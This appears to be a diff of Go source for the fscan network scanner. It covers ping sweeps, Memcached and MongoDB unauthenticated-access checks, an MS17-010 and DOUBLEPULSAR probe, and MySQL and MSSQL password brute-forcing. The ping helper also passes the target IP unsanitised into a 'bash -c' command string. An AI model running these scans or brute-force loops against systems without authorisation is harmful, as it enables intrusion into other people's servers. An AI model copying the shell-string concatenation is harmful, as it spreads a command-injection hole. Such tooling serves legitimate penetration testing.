|
}
|
||||||
|
|
||||||
func write(ip string, conn *icmp.PacketConn) {
|
func CheckSum(data []byte) uint16 {
|
||||||
dst, _ := net.ResolveIPAddr("ip", ip)
|
var (
|
||||||
IcmpByte := []byte{8, 0, 247, 255, 0, 0, 0, 0}
|
sum uint32
|
||||||
conn.WriteTo(IcmpByte, dst)
|
length int = len(data)
|
||||||
|
index int
|
||||||
|
)
|
||||||
|
for length > 1 {
|
||||||
|
sum += uint32(data[index])<<8 + uint32(data[index+1])
|
||||||
|
index += 2
|
||||||
|
length -= 2
|
||||||
|
}
|
||||||
|
if length > 0 {
|
||||||
|
sum += uint32(data[index])
|
||||||
|
}
|
||||||
|
sum += (sum >> 16)
|
||||||
|
|
||||||
|
return uint16(^sum)
|
||||||
}
|
}
|
||||||
|
|
||||||
func ExecCommandPing(ip string, bsenv string) bool {
|
func IcmpCheck(hostslist []string) {
|
||||||
var command *exec.Cmd
|
var wg sync.WaitGroup
|
||||||
if SysInfo.OS == "windows" {
|
mutex := &sync.Mutex{}
|
||||||
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
for _,host :=range hostslist{
|
||||||
} else if SysInfo.OS == "linux" {
|
wg.Add(1)
|
||||||
command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
go func(host string) {
|
||||||
} else if SysInfo.OS == "darwin" {
|
defer wg.Done()
|
||||||
command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
if isping(host){
|
||||||
|
mutex.Lock()
|
||||||
|
AliveHosts = append(AliveHosts, host)
|
||||||
|
mutex.Unlock()
|
||||||
|
}
|
||||||
|
}(host)
|
||||||
}
|
}
|
||||||
|
wg.Wait()
|
||||||
|
}
|
||||||
|
|
||||||
|
func ExecCommandPing(ip string,bsenv string) bool {
|
||||||
|
command := exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||||
outinfo := bytes.Buffer{}
|
outinfo := bytes.Buffer{}
|
||||||
command.Stdout = &outinfo
|
command.Stdout = &outinfo
|
||||||
err := command.Start()
|
err := command.Start()
|
||||||
if err != nil {
|
if err != nil{
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
if err = command.Wait(); err != nil {
|
|
||||||
|
if err = command.Wait();err!=nil{
|
||||||
return false
|
return false
|
||||||
} else {
|
}else{
|
||||||
if strings.Contains(outinfo.String(), "true") {
|
if(strings.Contains(outinfo.String(), "true")) {
|
||||||
return true
|
return true
|
||||||
} else {
|
}else {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func PingCMDcheck(hostslist []string, bsenv string) {
|
func PingCMDcheck(hostslist []string,bsenv string) {
|
||||||
var wg sync.WaitGroup
|
var wg sync.WaitGroup
|
||||||
mutex := &sync.Mutex{}
|
mutex := &sync.Mutex{}
|
||||||
limiter := make(chan struct{}, 50)
|
limiter := make(chan struct{}, 40)
|
||||||
for _, host := range hostslist {
|
//aliveHost := make(chan string, 20)
|
||||||
|
//go func() {
|
||||||
|
// for s := range aliveHost {
|
||||||
|
// fmt.Println(s)
|
||||||
|
// }
|
||||||
|
//}()
|
||||||
|
for _,host :=range hostslist{
|
||||||
wg.Add(1)
|
wg.Add(1)
|
||||||
limiter <- struct{}{}
|
limiter <- struct{}{}
|
||||||
go func(host string) {
|
go func(host string) {
|
||||||
defer wg.Done()
|
defer wg.Done()
|
||||||
if ExecCommandPing(host, bsenv) {
|
if ExecCommandPing(host,bsenv){
|
||||||
mutex.Lock()
|
mutex.Lock()
|
||||||
fmt.Printf("(Ping) Target '%s' is alive\n", host)
|
fmt.Printf("(Ping) Target '%s' is alive\n",host)
|
||||||
AliveHosts = append(AliveHosts, host)
|
AliveHosts = append(AliveHosts, host)
|
||||||
mutex.Unlock()
|
mutex.Unlock()
|
||||||
}
|
}
|
||||||
@@ -145,37 +177,26 @@ func PingCMDcheck(hostslist []string, bsenv string) {
|
|||||||
}(host)
|
}(host)
|
||||||
}
|
}
|
||||||
wg.Wait()
|
wg.Wait()
|
||||||
|
//close(aliveHost)
|
||||||
}
|
}
|
||||||
func ICMPRun(hostslist []string, Ping bool) []string {
|
|
||||||
if SysInfo.OS == "windows" {
|
func ICMPRun(hostslist []string) []string{
|
||||||
if Ping == false {
|
var sysinfo SystemInfo
|
||||||
|
sysinfo = GetSys()
|
||||||
|
|
||||||
|
if sysinfo.OS == "windows" {
|
||||||
|
IcmpCheck(hostslist)
|
||||||
|
}else if sysinfo.OS == "linux" {
|
||||||
|
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
|
||||||
IcmpCheck(hostslist)
|
IcmpCheck(hostslist)
|
||||||
} else {
|
}else {
|
||||||
PingCMDcheck(hostslist, "")
|
PingCMDcheck(hostslist,"/bin/bash")
|
||||||
}
|
}
|
||||||
} else if SysInfo.OS == "linux" {
|
}else if sysinfo.OS == "darwin" {
|
||||||
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
|
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
|
||||||
if Ping == false {
|
IcmpCheck(hostslist)
|
||||||
IcmpCheck(hostslist)
|
}else {
|
||||||
} else {
|
PingCMDcheck(hostslist,"/usr/local/bin/bash")
|
||||||
PingCMDcheck(hostslist, "/bin/bash")
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
fmt.Println("The current user permissions unable to send icmp packets")
|
|
||||||
fmt.Println("start ping")
|
|
||||||
PingCMDcheck(hostslist, "/bin/bash")
|
|
||||||
}
|
|
||||||
} else if SysInfo.OS == "darwin" {
|
|
||||||
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
|
|
||||||
if Ping == false {
|
|
||||||
IcmpCheck(hostslist)
|
|
||||||
} else {
|
|
||||||
PingCMDcheck(hostslist, "/bin/bash")
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
fmt.Println("The current user permissions unable to send icmp packets")
|
|
||||||
fmt.Println("start ping")
|
|
||||||
PingCMDcheck(hostslist, "/bin/bash")
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return AliveHosts
|
return AliveHosts
|
||||||
|
|||||||
+10
-7
@@ -1,28 +1,31 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"net"
|
"net"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func MemcachedScan(info *common.HostInfo) (err error, result string) {
|
func MemcachedScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) {
|
||||||
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mem"])
|
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mem"])
|
||||||
client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
client,err:=net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||||
if err == nil {
|
if err==nil {
|
||||||
client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
client.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
|
||||||
client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
||||||
rev := make([]byte, 1024)
|
rev := make([]byte, 1024)
|
||||||
n, err := client.Read(rev)
|
n, err := client.Read(rev)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
if strings.Contains(string(rev[:n]), "STAT") {
|
if strings.Contains(string(rev[:n]), "STAT") {
|
||||||
defer client.Close()
|
defer client.Close()
|
||||||
result = fmt.Sprintf("Memcached:%s unauthorized", realhost)
|
result = fmt.Sprintf("Memcached:%s unauthorized",realhost)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
wg.Done()
|
||||||
|
<- ch
|
||||||
return err, result
|
return err, result
|
||||||
}
|
}
|
||||||
|
|||||||
+22
-27
@@ -1,54 +1,49 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"fmt"
|
"fmt"
|
||||||
_ "github.com/denisenkom/go-mssqldb"
|
_ "github.com/denisenkom/go-mssqldb"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"net"
|
"net"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func MongodbScan(info *common.HostInfo) error {
|
|
||||||
_, err := MongodbUnauth(info)
|
func MongodbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
return err
|
MongodbUnauth(info)
|
||||||
|
wg.Done()
|
||||||
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
|
func MongodbUnauth(info *common.HostInfo) (flag bool,err error) {
|
||||||
flag = false
|
flag = false
|
||||||
senddata := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
|
send_data := []byte{58,0,0,0,167,65,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,255,255,255,255,19,0,0,0,16,105,115,109,97,115,116,101,114,0,1,0,0,0,0}
|
||||||
getlogdata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
|
getlog_data := []byte{72,0,0,0,2,0,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,1,0,0,0,33,0,0,0,2,103,101,116,76,111,103,0,16,0,0,0,115,116,97,114,116,117,112,87,97,114,110,105,110,103,115,0,0}
|
||||||
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mgo"])
|
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mgo"])
|
||||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||||
if err != nil {
|
if err != nil{return}
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
defer conn.Close()
|
defer conn.Close()
|
||||||
_, err = conn.Write(senddata)
|
conn.Write(send_data)
|
||||||
if err != nil {
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
buf := make([]byte, 1024)
|
buf := make([]byte, 1024)
|
||||||
count, err := conn.Read(buf)
|
count, err := conn.Read(buf)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
text := string(buf[0:count])
|
text := string(buf[0:count])
|
||||||
if strings.Contains(text, "ismaster") {
|
if strings.Contains(text,"ismaster"){
|
||||||
_, err = conn.Write(getlogdata)
|
conn.Write(getlog_data)
|
||||||
if err != nil {
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
count, err := conn.Read(buf)
|
count, err := conn.Read(buf)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
text := string(buf[0:count])
|
text := string(buf[0:count])
|
||||||
if strings.Contains(text, "totalLinesWritten") {
|
if strings.Contains(text,"totalLinesWritten"){
|
||||||
flag = true
|
flag = true
|
||||||
result := fmt.Sprintf("Mongodb:%v unauthorized", realhost)
|
result := fmt.Sprintf("Mongodb:%v unauthorized",realhost)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
+31
-43
@@ -3,11 +3,14 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
"errors"
|
"sync"
|
||||||
|
|
||||||
|
//"flag"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"net"
|
"net"
|
||||||
|
"../common"
|
||||||
"strings"
|
"strings"
|
||||||
|
//"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -19,55 +22,47 @@ var (
|
|||||||
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
|
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
|
||||||
)
|
)
|
||||||
|
|
||||||
func MS17010(info *common.HostInfo) error {
|
func MS17010(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
err := MS17010Scan(info)
|
MS17010Scan(info)
|
||||||
return err
|
wg.Done()
|
||||||
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func MS17010Scan(info *common.HostInfo) error {
|
func MS17010Scan(info *common.HostInfo) {
|
||||||
|
|
||||||
ip := info.Host
|
ip := info.Host
|
||||||
// connecting to a host in LAN if reachable should be very quick
|
// connecting to a host in LAN if reachable should be very quick
|
||||||
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
|
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
//fmt.Printf("failed to connect to %s\n", ip)
|
//fmt.Printf("failed to connect to %s\n", ip)
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
defer conn.Close()
|
defer conn.Close()
|
||||||
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
|
||||||
if err != nil {
|
conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
|
||||||
//fmt.Printf("failed to connect to %s\n", ip)
|
conn.Write(negotiateProtocolRequest)
|
||||||
return err
|
|
||||||
}
|
|
||||||
_, err = conn.Write(negotiateProtocolRequest)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
reply := make([]byte, 1024)
|
reply := make([]byte, 1024)
|
||||||
// let alone half packet
|
// let alone half packet
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||||
// status != 0
|
// status != 0
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
_, err = conn.Write(sessionSetupRequest)
|
conn.Write(sessionSetupRequest)
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
n, err := conn.Read(reply)
|
n, err := conn.Read(reply)
|
||||||
if err != nil || n < 36 {
|
if err != nil || n < 36 {
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||||
// status != 0
|
// status != 0
|
||||||
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
|
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
|
||||||
var Err = errors.New("can't determine whether target is vulnerable or not")
|
return
|
||||||
return Err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// extract OS info
|
// extract OS info
|
||||||
@@ -83,7 +78,7 @@ func MS17010Scan(info *common.HostInfo) error {
|
|||||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||||
os = string(sessionSetupResponse[10:i])
|
os = string(sessionSetupResponse[10:i])
|
||||||
os = strings.Replace(os, string([]byte{0x00}), "", -1)
|
os = strings.Replace(os, string([]byte{0x00}), "",-1)
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -94,12 +89,10 @@ func MS17010Scan(info *common.HostInfo) error {
|
|||||||
treeConnectRequest[32] = userID[0]
|
treeConnectRequest[32] = userID[0]
|
||||||
treeConnectRequest[33] = userID[1]
|
treeConnectRequest[33] = userID[1]
|
||||||
// TODO change the ip in tree path though it doesn't matter
|
// TODO change the ip in tree path though it doesn't matter
|
||||||
_, err = conn.Write(treeConnectRequest)
|
conn.Write(treeConnectRequest)
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
treeID := reply[28:30]
|
treeID := reply[28:30]
|
||||||
@@ -108,19 +101,16 @@ func MS17010Scan(info *common.HostInfo) error {
|
|||||||
transNamedPipeRequest[32] = userID[0]
|
transNamedPipeRequest[32] = userID[0]
|
||||||
transNamedPipeRequest[33] = userID[1]
|
transNamedPipeRequest[33] = userID[1]
|
||||||
|
|
||||||
_, err = conn.Write(transNamedPipeRequest)
|
conn.Write(transNamedPipeRequest)
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||||
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||||
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||||
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
|
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
|
||||||
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
|
result := fmt.Sprintf("%s\tMS17-010\t(%s)", ip, os)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
// detect present of DOUBLEPULSAR SMB implant
|
// detect present of DOUBLEPULSAR SMB implant
|
||||||
trans2SessionSetupRequest[28] = treeID[0]
|
trans2SessionSetupRequest[28] = treeID[0]
|
||||||
@@ -128,12 +118,10 @@ func MS17010Scan(info *common.HostInfo) error {
|
|||||||
trans2SessionSetupRequest[32] = userID[0]
|
trans2SessionSetupRequest[32] = userID[0]
|
||||||
trans2SessionSetupRequest[33] = userID[1]
|
trans2SessionSetupRequest[33] = userID[1]
|
||||||
|
|
||||||
_, err = conn.Write(trans2SessionSetupRequest)
|
conn.Write(trans2SessionSetupRequest)
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if reply[34] == 0x51 {
|
if reply[34] == 0x51 {
|
||||||
@@ -146,6 +134,6 @@ func MS17010Scan(info *common.HostInfo) error {
|
|||||||
result := fmt.Sprintf("%s (%s)", ip, os)
|
result := fmt.Sprintf("%s (%s)", ip, os)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
}
|
}
|
||||||
return err
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+22
-21
@@ -1,47 +1,48 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"fmt"
|
"fmt"
|
||||||
_ "github.com/denisenkom/go-mssqldb"
|
_ "github.com/denisenkom/go-mssqldb"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func MssqlScan(info *common.HostInfo) (tmperr error) {
|
|
||||||
for _, user := range common.Userdict["mssql"] {
|
|
||||||
for _, pass := range common.Passwords {
|
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
func MssqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
flag, err := MssqlConn(info, user, pass)
|
Loop:
|
||||||
if flag == true && err == nil {
|
for _,user:=range common.Userdict["mssql"]{
|
||||||
return err
|
for _,pass:=range common.Passwords{
|
||||||
} else {
|
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||||
errlog := fmt.Sprintf("[-] mssql %v %v %v %v %v", info.Host, common.PORTList["mssql"], user, pass, err)
|
flag,err := MssqlConn(info,user,pass,ch,wg)
|
||||||
common.LogError(errlog)
|
if flag==true && err==nil {
|
||||||
tmperr = err
|
break Loop
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
wg.Done()
|
||||||
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func MssqlConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, common.PORTList["mssql"], user, pass
|
Host,Port,Username,Password := info.Host, common.PORTList["mssql"],user, pass
|
||||||
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second)
|
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host,Username,Password,Port,time.Duration(info.Timeout)*time.Second)
|
||||||
db, err := sql.Open("mssql", dataSourceName)
|
db, err := sql.Open("mssql", dataSourceName)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
|
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
|
||||||
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
|
|
||||||
db.SetMaxIdleConns(0)
|
|
||||||
defer db.Close()
|
defer db.Close()
|
||||||
err = db.Ping()
|
err = db.Ping()
|
||||||
if err == nil {
|
if err == nil {
|
||||||
result := fmt.Sprintf("[+] mssql:%v:%v:%v %v", Host, Port, Username, Password)
|
result := fmt.Sprintf("mssql:%v:%v:%v %v",Host,Port,Username,Password)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+21
-22
@@ -1,47 +1,46 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"fmt"
|
"fmt"
|
||||||
_ "github.com/go-sql-driver/mysql"
|
_ "github.com/go-sql-driver/mysql"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func MysqlScan(info *common.HostInfo) (tmperr error) {
|
|
||||||
for _, user := range common.Userdict["mysql"] {
|
|
||||||
for _, pass := range common.Passwords {
|
func MysqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
Loop:
|
||||||
flag, err := MysqlConn(info, user, pass)
|
for _,user:=range common.Userdict["mysql"]{
|
||||||
if flag == true && err == nil {
|
for _,pass:=range common.Passwords{
|
||||||
return err
|
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||||
} else {
|
flag,err := MysqlConn(info,user,pass,ch,wg)
|
||||||
errlog := fmt.Sprintf("[-] mysql %v %v %v %v %v", info.Host, common.PORTList["mysql"], user, pass, err)
|
if flag==true && err==nil {
|
||||||
common.LogError(errlog)
|
break Loop
|
||||||
tmperr = err
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
wg.Done()
|
||||||
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func MysqlConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, common.PORTList["mysql"], user, pass
|
Host,Port,Username,Password := info.Host, common.PORTList["mysql"],user, pass
|
||||||
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host, Port, "mysql")
|
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host,Port, "mysql")
|
||||||
db, err := sql.Open("mysql", dataSourceName)
|
db, err := sql.Open("mysql", dataSourceName)
|
||||||
|
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
|
|
||||||
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
|
|
||||||
db.SetMaxIdleConns(0)
|
|
||||||
defer db.Close()
|
defer db.Close()
|
||||||
err = db.Ping()
|
err = db.Ping()
|
||||||
if err == nil {
|
if err == nil {
|
||||||
result := fmt.Sprintf("[+] mysql:%v:%v:%v %v", Host, Port, Username, Password)
|
result := fmt.Sprintf("mysql:%v:%v:%v %v",Host,Port,Username,Password)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
+78
-32
@@ -2,37 +2,70 @@ package Plugins
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"net"
|
"net"
|
||||||
|
"sort"
|
||||||
"strconv"
|
"strconv"
|
||||||
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
"../common"
|
||||||
)
|
)
|
||||||
|
|
||||||
func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, adjustedTimeout int64) {
|
func ParsePort(ports string) []int {
|
||||||
for port := range ports {
|
var scanPorts []int
|
||||||
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout)*time.Second)
|
slices := strings.Split(ports, ",")
|
||||||
|
for _, port := range slices {
|
||||||
|
port = strings.Trim(port, " ")
|
||||||
|
upper := port
|
||||||
|
if strings.Contains(port, "-") {
|
||||||
|
ranges := strings.Split(port, "-")
|
||||||
|
if len(ranges) < 2 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
sort.Strings(ranges)
|
||||||
|
port = ranges[0]
|
||||||
|
upper = ranges[1]
|
||||||
|
}
|
||||||
|
start, _ := strconv.Atoi(port)
|
||||||
|
end, _ := strconv.Atoi(upper)
|
||||||
|
for i := start; i <= end; i++ {
|
||||||
|
scanPorts = append(scanPorts, i)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return scanPorts
|
||||||
|
}
|
||||||
|
|
||||||
|
func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, model string, adjustedTimeout int) {
|
||||||
|
